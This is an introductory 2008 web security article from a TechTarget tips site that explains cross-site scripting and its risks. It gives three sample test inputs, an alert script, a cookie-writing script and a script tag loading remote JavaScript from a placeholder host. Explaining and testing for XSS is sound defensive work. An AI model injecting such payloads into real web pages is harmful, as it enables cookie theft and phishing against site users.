Home > Windows Security Tips > Vulnerability/Authentication tips for Windows > Cross-site scripting 101: XSS attacks plague Web browsers
Windows Security Tips:
EMAIL THIS
 TIPS & NEWSLETTERS TOPICS 

VULNERABILITY/AUTHENTICATION TIPS FOR WINDOWS

Cross-site scripting 101: XSS attacks plague Web browsers


Kevin Beaver, CISSP
01.15.2008
Rating: -3.56- (out of 5)


Advice for securing Windows
Digg This!    StumbleUpon Toolbar StumbleUpon    Bookmark with Delicious Del.icio.us    Add to Google


Cross-site scripting (also referred to as XSS) is one of those pesky Web security problems that's been around forever. It just never seems to go away. It affects the majority of Web applications I look at and, based on hack attack stories we see in the news, it appears that it's still a widespread problem. Seemingly too complex an issue for many developers to understand, XSS is actually pretty straightforward.

Securing Windows Web browsers
Internet Explorer security settings and controls

Data protection on the Web: Windows SSL security and other myths

An XSS vulnerability is a Web application that doesn't properly validate user input. More specifically, it's a Web application that accepts user input and reflects it back to the user without checking for unnecessary/unauthorized code -- namely JavaScript <script> tags. The main target for XSS are search engines and form fields. They prompt the user to enter information such as name, address, etc. Technically, anywhere an application accepts user input -- including email hyperlinks and URLs that can be manipulated directly in the browser -- may be susceptible to this vulnerability.

When XSS is successful, the following can occur:

  1. Cookies can be manipulated or stolen from the victim's browser.
  2. The history list can be read from the victim's browser.
  3. The local IP address of the victim's computer can be determined.
  4. The user can be socially-engineered (or phished) into divulging Web site login credentials.

All of this information can be captured via the Web server's log files or even sent to a third-party site.

Here are three popular ways to execute XSS via JavaScript:

  • Entering an alert, such as
  • <script>alert ('XSS!')</script>

This is the easiest and most basic way to test for XSS. The expected result would the Web browser reflecting back the script you input, like the following:

  • Entering a cookie command, such as <script>document.write(document.cookie)</script>

This is how JavaScript can be used to manipulate cookies on the local system.

  • Entering a link to a remote URL containing malicious JavaScript code, such as

<script src=http://www.XSS~test~site.com/illintent.js></script>

This is how a lot of phishing attacks occur. The attacker simply embeds a link such as the one above in an email hyperlink or a Web 2.0 page. Once an unsuspecting user clicks the link, the remote JavaScript runs, the attack is carried out and the user is none the wiser. Keep in mind that the field length assigned to the vulnerable Web page field may limit the attacker from entering such long input data. However, it does not eliminate XSS altogether since the field length can be manipulated in real time using a Web proxy. Browser security settings can prevent such code from running too.

In the grand scheme of Web security vulnerabilities, XSS attacks are pretty basic. They just follow the tried and true assumption that Web applications don't provide good input validation and users can be easily lured in to do whatever. In my follow-up to this tip, I'll give you some real-world examples of Web sites with XSS vulnerabilities and show exactly what can happen when they are exploited.

About the author: Kevin Beaver is an independent information security consultant, keynote speaker, and expert witness with Atlanta-based Principle Logic, LLC where he specializes in performing independent security assessments. Kevin has authored/co-authored seven books on information security including Hacking For Dummies and Hacking Wireless Networks For Dummies (Wiley). He's also the creator and author of the Security On Wheels blog and information security audio programs providing security learning for IT professionals on the go. Kevin can be reached at kbeaver --at- principlelogic.com.


Rate this Tip
To rate tips, you must be a member of SearchWindowsSecurity.com.
Register now to start rating these tips. Log in if you are already a member.




Digg This!    StumbleUpon Toolbar StumbleUpon    Bookmark with Delicious Del.icio.us    Add to Google


RELATED CONTENT
Hardening
Web security features of Internet Explorer 8
How can I use Process Explorer as a Web security tool?
New Windows security tool protects users from keyloggers: XecureCK
What's hot in Windows security? New Microsoft Office Security Guide
Data protection on the Web: Windows SSL security and other myths
What's hot in Windows security: Updating Windows Update; new IE scare
Web security tactics that harden Windows networks
What do you know about Microsoft Internet security?
How can I run third-party antivirus software?
Internet Explorer security settings and controls

End User Education
Correct improperly assigned user rights in Windows XP
Free security testing tools for Windows handheld devices
Do old certificates pose a Windows security threat?
Windows mobile security: Get it locked down
Metasploit 3.1 updates improve Windows penetration testing
Have I experienced a Windows security breach?
Windows security management: Ask the security expert roundup
Down the chimney, through the firewall: Holiday quiz
Failing security 101: Pwn3rship of the n00b
Password cracking, network rights and Windows Firewall expert advice

Vulnerability/Authentication tips for Windows
Correct improperly assigned user rights in Windows XP
Free security testing tools for Windows handheld devices
Windows Integrity Control (WIC) in Vista
Metasploit 3.1 updates improve Windows penetration testing
Windows network rights, password policy and network security testing
Top Windows security testing tips of 2007
Network security assessment for network infrastructure
Cheap Microsoft licenses for security pros: Microsoft Action Pack
Determining the proper Microsoft malware removal tool
Run third-party malware detection tools in Windows

RELATED GLOSSARY TERMS
Terms from Whatis.com − the technology online dictionary
strong password  (SearchWindowsSecurity.com)

RELATED RESOURCES
2020software.com, trial software downloads for accounting software, ERP software, CRM software and business software systems
Search Bitpipe.com for the latest white papers and business webcasts
Whatis.com, the online computer dictionary

DISCLAIMER: Our Tips Exchange is a forum for you to share technical advice and expertise with your peers and to learn from other enterprise IT professionals. TechTarget provides the infrastructure to facilitate this sharing of information. However, we cannot guarantee the accuracy or validity of the material submitted. You agree that your use of the Ask The Expert services and your reliance on any questions, answers, information or other materials received through this Web site is at your own risk.

HomeNewsTopicsITKnowledge ExchangeTipsAsk the ExpertsWebcastsWhite PapersIT DownloadsBlogs
About Us  |  Contact Us  |  For Advertisers  |  For Business Partners  |  Site Index  |  RSS
SEARCH 
TechTarget provides enterprise IT professionals with the information they need to perform their jobs - from developing strategy, to making cost-effective IT purchase decisions and managing their organizations' IT projects - with its network of technology-specific Web sites, events and magazines.

TechTarget Corporate Web Site  |  Media Kits  |  Reprints  |  Site Map




All Rights Reserved, Copyright 2004 - 2008, TechTarget | Read our Privacy Policy
  TechTarget - The IT Media ROI Experts